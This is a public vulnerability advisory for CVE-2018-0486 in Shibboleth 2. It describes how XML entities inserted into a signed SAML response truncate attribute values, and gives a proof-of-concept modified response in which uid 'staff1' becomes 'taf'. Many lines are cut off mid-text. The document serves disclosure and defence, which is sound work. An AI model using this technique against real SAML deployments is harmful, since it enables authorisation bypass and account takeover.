RedTeam Pentesting discovered that the shibd service of Shibboleth 2
does not extract SAML attribute values in a robust manner. By inserting
XML entities into a SAML response, attackers may truncate attribute
values without breaking the document's signature. This might lead to a
complete bypass of authorisation mechanisms.
Details
=======
Product: Shibboleth 2
Affected Versions: before 2.6.1 (with XMLTooling-C prior 1.6.3)
Fixed Versions: 2.6.1
Vulnerability Type: Authorisation Bypass
Security Risk: high
Vendor URL: https://www.shibboleth.net/
Vendor Status: notified
Advisory URL: https://www.redteam-
Advisory Status: public
CVE: CVE-2018-0486
CVE URL: https://cve.mitre.org/cgi-bin/
Introduction
============
"Shibboleth is among the world's most widely deployed federated identity
solutions, connecting users to applications both within and between
organizations. Every software component of the Shibboleth system is free
and open source.
Shibboleth is an open-source project that provides Single Sign-On
capabilities and allows sites to make informed authorization decisions
for individual access of protected online resources in a
privacy-preserving manner."
(from the Shibboleth Consortium's website [1])
More Details
============
Shibboleth 2 makes use of SAML 2 to communicate assertions between
identity providers and service providers. In some modes of operation,
SAML messages are relayed through a user's browser. Therefore, their
integrity must be protected. SAML accomplishes this by utilizing the XML
signature standard [2] to sign its messages. When employing signatures,
it is important that signed data is interpreted in a consistent manner
by all parties.
RedTeam Pentesting discovered that by inserting XML entities into a SAML
response, the XML signature processor and the Shibboleth application
will interpret the response differently. Parts of the document, for
example values of SAML attributes, can partially be substituted by XML
entities. An inline document type definition at the beginning of the XML
document is inserted to define these entities. During signature
verification, the XML document is canonicalized, which includes
resolution of entities. The definition of all entities is chosen such
that, after their resolution, the original contents of the XML document
appear again. For example, if "RedTeam" was replaced with "Re&x;am", the
entity "x" will be defined as the string "dTe". Consequently, the
signature remains intact as the content of the document was not
changed.
After validating the signature of a SAML response, Shibboleth will
extract various information from the document, such as the values of
SAML attributes. Extracting strings from the XML DOM is implemented
by the function shown below (shortened and re-formatted):
------------------------------
void AbstractXMLObjectUnmarshaller:
const DOMElement* domElement)
{
[...]
DOMNode* childNode = domElement->getFirstChild();
[...]
unsigned int position = 0;
while (childNode) {
if (childNode->getNodeType() == DOMNode::ELEMENT_NODE) {
[...]
// Advance the text node position marker.
++position;
}
else if (
childNode->getNodeType() == DOMNode::TEXT_NODE
|| childNode->getNodeType() == DOMNode::CDATA_SECTION_NODE
) {
m_log.debug("processing text content at position (%d)",
position);
setTextContent(childNode->
}
childNode = childNode->getNextSibling();
}
}
------------------------------
This function fails to take into account the presence of sibling text
and entity nodes in the DOM. The "position" variable is only incremented
if an element node is encountered. If sibling text nodes are
encountered, "setTextContent" will be called multiple times with
"position" set to zero. Consequently, only the contents of the last
sibling text node will be retrieved from the DOM. For example, consider
the following XML snippet:
<x>attacker&x;admin@example.
When called on "<x>", the "unmarshallContent" function will first
extract "attacker". The "&x;" entity will be ignored. Next,
"admin@example.net" will be fetched from the DOM. However, as "position"
was never incremented, this latter string overwrites the previously
extracted data.
By exploiting the behaviour of this function, attackers can truncate
SAML attribute values. Arbitrary prefixes and or suffixes may be removed
without breaking the XML signature.
Proof of Concept
================
Exploitation of this vulnerability is demonstrated using the
dockerized-idp-testbed [3] which implements a minimal Shibboleth
infrastructure using multiple docker containers. It includes a sample
PHP service provider that utilizes Apache mod_shib and shibd for
authentication purposes. A Java-based Shibboleth identity provider is
included which is backed by LDAP.
First, the service provider application is accessed without
authentication. It will generate a SAML request and redirect to the
identity provider. Using the credentials "staff1:password"
authentication is performed at the identity provider. Afterwards, the
identity provider will redirect back to the service provider application
using an HTTP POST request which includes a SAML response. This HTTP
request is intercepted and the XML document is extracted:
------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:
Destination="https://
ID="_
InResponseTo="_
IssueInstant="2017-12-08T15:
<saml2:Issuer xmlns:saml2="urn:oasis:names:
https://idptestbed/idp/
</saml2:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/
<ds:SignedInfo>
<ds:CanonicalizationMethod
Algorithm="http://www.w3.org/
<ds:SignatureMethod
Algorithm="http://www.w3.org/
<ds:Reference URI="#_
<ds:Transforms>
<ds:Transform
Algorithm="http://www.w3.org/
<ds:Transform
Algorithm="http://www.w3.org/
</ds:Transforms>
<ds:DigestMethod
Algorithm="http://www.w3.org/
<ds:DigestValue>
WOqxoqLlLBlkymI8WFIvMYK+
8Hji4ECd70FvkhWM0Vwhfhuhg==
</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
VmfS2vJ2FnoB45rzSMrgOvqpMLqPux
xnCLkeZfHPNt6lXa+/
gKeoFK2nZ2JkIH1F69Hj7GFT4gGFJY
3YCbNaX9khBdpe8oIA8T89kQuwOTy0
NPAnKlSHYuObZoB6tiU6qGX5SLhBYu
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIIDFDCCAfygAwIBAgIVAN3vv+
EzARBgNVBAMMCmlkcHRlc3RiZWQwHh
MRMwEQYDVQQDDAppZHB0ZXN0YmVkMI
h91caeY0Q85uhaUyqFwP2bMjwMFxMz
kKahVDGeH5+
Iifmdh6s0epbHnMGLsHzMKfJCb/
Iu5jzB6AyUIwrLg+
wZAoPpBsuYlY7lEr89Ucb6NHx3uqGM
HQ4EFgQUAkOgED3iYdmvQEOMm6u/
cHM6Ly9pZHB0ZXN0YmVkL2lkcC9zaG
WlnvJjql8+
J08GOxGI9axfNaKdlsklJ9bk4ducHq
FCsOSnV3t9OvN86Ak+fKPVB5j2fM/
tI9PQiaEck+oAHnMTnC9JE/
ZHHXV1Vd22uPe70is00xrv14zLifcc
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml2p:Status>
<saml2p:StatusCode
Value="urn:oasis:names:tc:
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:
ID="_
IssueInstant="2017-12-08T15:
<saml2:Issuer>https://
<saml2:Subject>
<saml2:NameID
Format="urn:oasis:names:tc:
NameQualifier="https://
SPNameQualifier="https://sp.
AAdzZWNyZXQxb597SlBurufjA6ok5O
q3Da9qTcCFt1gom2qN7u+
m7I=
</saml2:NameID>
<saml2:SubjectConfirmation
Method="urn:oasis:names:tc:
<saml2:SubjectConfirmationData Address="172.19.0.3"
InResponseTo="_
NotOnOrAfter="2017-12-08T15:
Recipient="https://idptestbed/
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2017-12-08T15:15:
NotOnOrAfter="2017-12-08T15:
<saml2:AudienceRestriction>
<saml2:Audience>
https://sp.idptestbed/
</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2017-12-08T15:
SessionIndex="_
<saml2:SubjectLocality Address="172.19.0.3"/>
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:
</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.
NameFormat="urn:oasis:names:
<saml2:AttributeValue>
staff1
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="mail"
Name="urn:oid:0.9.2342.
NameFormat="urn:oasis:names:
<saml2:AttributeValue>
staff1@idptestbed.edu
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="sn" Name="urn:oid:2.5.4.4"
NameFormat="urn:oasis:names:
<saml2:AttributeValue>
aff
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="givenName"
Name="urn:oid:2.5.4.42"
NameFormat="urn:oasis:names:
<saml2:AttributeValue>
St
</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
------------------------------
Next, the SAML response is modified as follows:
------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:
Destination="https://
ID="_
InResponseTo="_
IssueInstant="2017-12-08T15:
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.
NameFormat="urn:oasis:names:
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
------------------------------
At the beginning of the document, an inline document type definition was
inserted which defines two entities:
* &s; which resolves to the string "s"
* &f1; which resolves to the string "f1"
Additionally, the value of the "uid" attribute is rewritten using these
entities: The original value of "staff1" is replaced with "&s;taf&f1;".
After these modifications, the XML document is re-inserted into the HTTP
POST request which is then sent to the service provider.
The SAML response is accepted by the service provider. Due to the
vulnerability, the service provider application reports "taf" as the
value of the "uid" attribute.
Workaround
==========
The use of XML encryption can serve as a mitigation for this
vulnerability but may still allow attacks in certain scenarios.
Fix
===
Manually update to the latest version [4] as described in the security
advisory published by Shibboleth [5]. Alternatively, use the operating
system's package management to receive the update [6].
Furthermore, a new version of the XMLTooling-C library (1.6.3) has been
released to address this vulnerability. DTD processing is now disabled
in the XML parser. Yet, some platforms ship with old parser versions
that do not allow DTD processing to be disabled, namely Red Hat and
CentOS. Therefore, the "unmarshallContent" function has also been
hardened to mitigate the vulnerability on these platforms.
Security Risk
=============
The key feature of Shibboleth, secure transfer of assertions, is
compromised. Therefore, the vulnerability is rated as a high risk. In
certain circumstances, this might lead to a complete bypass of
authorisation mechanisms. In practice, the risk for service providers is
highly dependent on the actual deployment of the Shibboleth
infrastructure: Sometimes, SAML responses are encrypted or not
transferred through a browser. In this case, an attacker is not able to
insert XML entities. Whether truncating SAML attribute values is
profitable for attackers also depends on the actual use and structure of
these values. Attackers may use an application's self-service features
to change their account's email to a manipulated but valid address.
Truncation of this email address in a SAML response could lead to access
to further accounts, effectively bypassing authorisation mechanisms.
Timeline
========
2017-11-06 Vulnerability identified
2017-11-13 Customer approved further research
2017-12-01 Further research conducted
2018-01-09 Customer approved disclosure to vendor
2018-01-10 Vendor notified
2018-01-12 Vendor released fixed version
2018-01-15 Advisory released
References
==========
[1] https://www.shibboleth.net/
[2] https://www.w3.org/TR/xmldsig-
[3] https://github.com/UniconLabs/
[4] https://shibboleth.net/
[5] https://shibboleth.net/
[6] https://security-tracker.
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-
Komentarų nėra:
Rašyti komentarą